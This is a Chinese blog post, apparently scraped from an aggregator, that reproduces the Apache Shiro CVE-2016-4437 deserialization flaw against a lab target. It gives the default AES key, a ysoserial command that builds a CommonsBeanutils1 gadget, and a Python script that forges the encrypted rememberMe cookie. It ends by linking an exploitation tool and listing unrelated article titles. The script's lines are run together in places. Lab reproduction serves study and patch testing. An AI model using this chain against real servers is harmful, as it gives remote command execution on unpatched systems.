当前位置: 首页 > news >正文

shiro-cve2016-4437漏洞复现

一、漏洞特征
Apache Shiro是一款开源强大且易用的Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前, 加密的用户信息序列化后存储在名为remember-me的Cookie中,而且是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透
总结一句话:ASE秘钥不能使用已知的外部秘钥,不能泄露秘钥。

影响版本Apache Shiro <= 1.2.4
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
进入后可以看到有remenber me的登录首页
在这里插入图片描述

二、漏洞复现
1.登录抓包拦截
同时勾选remenber me
在这里插入图片描述在这里插入图片描述

2.生成ser文件
使用ysoserial生成CommonsBeanutils1的Gadget
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 “touch /tmp/succ123” > poc.ser
在这里插入图片描述

3.使用poc生成payload

import sys
import uuid
import base64
from Crypto.Cipher import AESdef encode_rememberme():f = open('poc.ser','rb')BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme()   
print("rememberMe={0}".format(payload.decode()))

在这里插入图片描述

4.将生成的payload替换到请求包cookie中
在这里插入图片描述

5.进入搭建靶机的机器,查看生成文件
在这里插入图片描述

三、工具利用
https://github.com/SummerSec/ShiroAttack2
在这里插入图片描述在这里插入图片描述

http://www.lryc.cn/news/220590.html

相关文章:

  • 【MongoDB-Redis-MySQL-Elasticsearch-Kibana-RabbitMQ-MinIO】Java全栈开发软件一网打尽
  • Implementing class错误解决
  • 关于 国产系统UOS系统Qt开发Tcp服务器外部连接无法连接上USO系统 的解决方法
  • 初阶JavaEE(15)(Cookie 和 Session、理解会话机制 (Session)、实现用户登录网页、上传文件网页、常用的代码片段)
  • C++入门学习(1)命名空间和输入输出
  • AI:58-基于深度学习的猫狗图像识别
  • 【原创】java+swing+mysql宠物领养管理系统设计与实现
  • 虚拟机Linux-Centos系统网络配置常用命令+Docker 的常用命令
  • 数据分析相关知识整理_--秋招面试版
  • HMM与LTP词性标注之命名实体识别与HMM
  • Sui发布RPC2.0 Beta,拥抱GraphQL并计划弃用JSON-RPC
  • 设计模式—结构型模式之桥接模式
  • 【RabbitMQ】RabbitMQ 消息的堆积问题 —— 使用惰性队列解决消息的堆积问题
  • 深度优先遍历与连通分量
  • Python学习笔记--类的继承
  • 全自动批量AI改写文章发布软件【软件脚本+技术教程】
  • strongswan:configure: error: OpenSSL Crypto library not found
  • Xcode 常见错误
  • 【JavaEE】实现简单博客系统-前端部分
  • 首发scitb包,一个为制作统计表格而生的R包
  • 2023-11-06 LeetCode每日一题(最大单词长度乘积)
  • numpy机器学习深度学习 常用函数
  • 连接器切断机维修
  • Mysql数据库 8.SQL语言 外键约束
  • ERROR in static/js/xxx.js from UglifyJs Unexpected token name «currentVersion»
  • 反序列化 [网鼎杯 2020 青龙组]AreUSerialz 1
  • JWT登录校验
  • python发送企业微信群webhook消息(文本、文件)
  • 高数笔记06:无穷级数
  • Android工具栏ToolBar